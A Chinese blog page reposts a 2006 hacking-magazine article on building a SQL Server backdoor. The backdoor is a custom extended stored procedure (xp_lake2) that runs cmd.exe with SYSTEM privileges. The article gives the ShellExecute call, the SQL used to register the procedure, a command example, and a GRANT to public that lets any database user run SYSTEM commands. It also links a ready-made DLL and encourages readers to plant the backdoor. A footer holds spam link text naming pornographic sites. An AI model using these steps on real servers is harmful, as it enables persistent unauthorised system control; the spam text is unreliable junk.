<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    隨筆 - 303  文章 - 883  trackbacks - 0
    <2007年2月>
    28293031123
    45678910
    11121314151617
    18192021222324
    25262728123
    45678910

    歡迎光臨! 
    閑聊 QQ:1074961813

    隨筆分類(357)

    我管理的群

    公共blog

    • n維空間
    • Email : java3d@126.com 群 : 12999758

    參與管理的論壇

    好友的blog

    我的其他blog

    朋友的網(wǎng)站

    搜索

    •  

    最新評論

    信息來源:酷客天堂
    文章作者:lake2
    Author: lake2 ( http://lake2.0x54.org )
    ? 注:本文發(fā)表于《黑客防線》2006年第2期
    ? 繼WebShell、FTPShell之后,讓我們再來玩玩SQLShell 吧。?
    ?
    使用數(shù)據(jù)庫考慮最多的就是速度和效率,所以呢,數(shù)據(jù)庫系統(tǒng)就使用了存儲過程這種機制來提高速度和效率。SQL Server 2000 支持5種類型的存儲過程,這里我們主要說說SQL Server的擴展存儲過程,因為我們要利用它做后門。?

    ?看看書上對擴展存儲過程的定義:

    ?在SQL Server 2000環(huán)境之外的動態(tài)鏈接庫稱為擴展存儲過程,其前綴是xp_。雖然這些動態(tài)鏈接庫在SQL Server環(huán)境之外,但是它們可以被加載到SQL Server系統(tǒng)中,并按照使用存儲過程的方式執(zhí)行。?

    ?呵呵,最典型的擴展存儲就是SQL Serve自帶那個xp_cmdshell,真是殺人滅口居家旅行必備良藥啊。那個擴展存儲需要sysadmin權(quán)限才能執(zhí)行,一旦執(zhí)行了CMD,那可是MSSQL的權(quán)限哦,而MSSQL是以服務(wù)啟動的,也就是System權(quán)限,嘿嘿,比管理員大叔的權(quán)力還大!
    ?為了安全起見,一般管理員大叔都是刪除了xp_cmdshell過程的,更有甚者直接刪掉帶有xp_cmdshell的文件xplog70.dll。這樣多不好啊,我們沒得玩了。?

    ?我的后門思路就放在擴展存儲過程上面,因為擴展存儲是以dll方式存在,而且那個dll是用C++編寫且可以任意調(diào)用API函數(shù)。這樣我們就可以寫一個執(zhí)行CMD的擴展存儲(最初我是想直接修改xplog70.dll中xp_cmdshell的名字,不過失敗了,在此略過略過)。
    ? 擴展存儲過程可在VC里創(chuàng)建。創(chuàng)建擴展存儲過程的工程之后,VC會自動生成一個擴展存儲過程模板,稍稍看看,你就很容易上手了(MS真是想得周到啊)。?

    ?這里我主要是去掉了返回值,增加了一個ShellExecute函數(shù)用于執(zhí)行cmd。ShellExecute函數(shù)可是一個比較有用的函數(shù),它可以根據(jù)后綴自動選擇相關(guān)聯(lián)的程序打開文件。?

    ? 以下是其用法:

    ? HINSTANCE ShellExecute(
    ? HWND hwnd,
    ? LPCTSTR lpOperation,
    ? LPCTSTR lpFile,
    ? LPCTSTR lpParameters,
    ? LPCTSTR lpDirectory,
    ? INT nShowCmd
    );
    ?

    ? 第一個參數(shù)是句柄,在這里不用;第二個參數(shù)是對文件的動作,這里選“open”;第三個參數(shù)是執(zhí)行的文件,這里自然是cmd.exe了;第四個參數(shù)是命令行參數(shù),這個填程序接收到的參數(shù);第五個參數(shù)是默認(rèn)目錄,把它空著;最后一個參數(shù)是程序運行時的顯示方式,MSSQL都是以服務(wù)啟動的,這里即使是最大化顯示管理員大叔也是看不到的。
    ? 好了,所以我們的函數(shù)使用為:

    ShellExecute(0,"open","cmd.exe",spParam,NULL,SW_SHOW);?

    ?spParam是從擴展存儲過程得到的參數(shù),具體的實現(xiàn)請看源代碼;擴展存儲的編寫請參閱MSDN。
    ?ShellExecute有個壞處就是看不到回顯,不過這里把權(quán)限拿到了,不要回顯也無所謂。當(dāng)然你也可以自己寫個顯示回顯的擴展存儲過程。
    ?Ok,擴展存儲命名為xp_lake2,dll文件名為xplake2.dll,現(xiàn)在讓我們把它注冊到SQL Server:

    USE master
    EXEC sp_addextendedproc 'xp_lake2', 'xplake2.dll'?

    ?注意,添加擴展存儲過程要求連接SQL Server的帳戶有sysadmin權(quán)限;使用相對路徑的話得把dll文件放到SQL Server目錄的binn之下。
    ?好啦,我們可以試試效果了,調(diào)用的參數(shù)跟xp_cmdshell一樣,只是沒有回顯。在查詢分析器里調(diào)用它:
    USE master
    EXEC xp_lake2 'net user > c:\lake2.txt'
    ? 趕快去C盤看看有沒有生成lake2.txt吧!至于權(quán)限嘛,呵呵,當(dāng)然是system啦。
    ? SQL Server的擴展存儲都要求sysadmin才能執(zhí)行,不爽,讓我們給它改改,讓public也可以玩。
    ? 如果拿到圖形界面用企業(yè)管理器就可以輕松搞定,只需把xp_lake2的Exec權(quán)限賦給public就ok了。在查詢分析器里就用GRANT:

    GRANT exec
    On xp_lake2
    TO public?
    ?
    然后換一個普通的SQL Server用戶調(diào)用xp_lake2試試,執(zhí)行命令還是system權(quán)限哦。呵呵,在webshell里試試吧,結(jié)果也一樣的。以下是利用海洋2006調(diào)用這個擴展存儲過程的截圖:


    ? 因為返回的值是空,所以顯示出錯,但是命令是執(zhí)行了的,現(xiàn)在命令行下用net user看看吧:?

    ?
    好啦,文章到此結(jié)束,大家趕緊去留自己的SQLShell吧^_^
    ? dll可以在這里下載到: http://www.0x54.org/lake2/program/xplake2.dll


    地震讓大伙知道:居安思危,才是生存之道。
    posted on 2007-02-22 10:15 小尋 閱讀(1550) 評論(0)  編輯  收藏 所屬分類: database入侵反入侵
    主站蜘蛛池模板: 亚洲av中文无码乱人伦在线r▽| 亚洲午夜无码片在线观看影院猛 | 亚洲精品亚洲人成在线播放| 国内自产少妇自拍区免费| 曰韩无码AV片免费播放不卡| 精品久久久久久亚洲| 欧美a级在线现免费观看| 日本特黄特色AAA大片免费| 亚洲日本va午夜中文字幕一区| 最近免费中文字幕视频高清在线看| 一本到卡二卡三卡免费高| 91亚洲国产成人久久精品| 久久久久亚洲AV成人网| 免费可以在线看A∨网站| 久久久久久国产a免费观看不卡| 亚洲无人区视频大全| 久久亚洲国产精品123区| 毛片a级毛片免费播放100| a级毛片免费全部播放| 日本亚洲欧美色视频在线播放 | 亚洲色自偷自拍另类小说| 成人在线免费观看| 久久精品免费一区二区三区| 毛片亚洲AV无码精品国产午夜| 久久夜色精品国产噜噜亚洲AV| 无码国产亚洲日韩国精品视频一区二区三区 | 亚洲第一黄色网址| 亚洲一级免费毛片| 野花香在线视频免费观看大全| 337P日本欧洲亚洲大胆艺术图| 亚洲人成网站日本片| 亚洲天天做日日做天天看| 亚洲综合国产一区二区三区| 国产精品视_精品国产免费| 四虎最新永久免费视频| a级在线观看免费| 有色视频在线观看免费高清在线直播| 中文字幕亚洲男人的天堂网络| 亚洲高清在线视频| 亚洲午夜久久久久久噜噜噜| 无码不卡亚洲成?人片|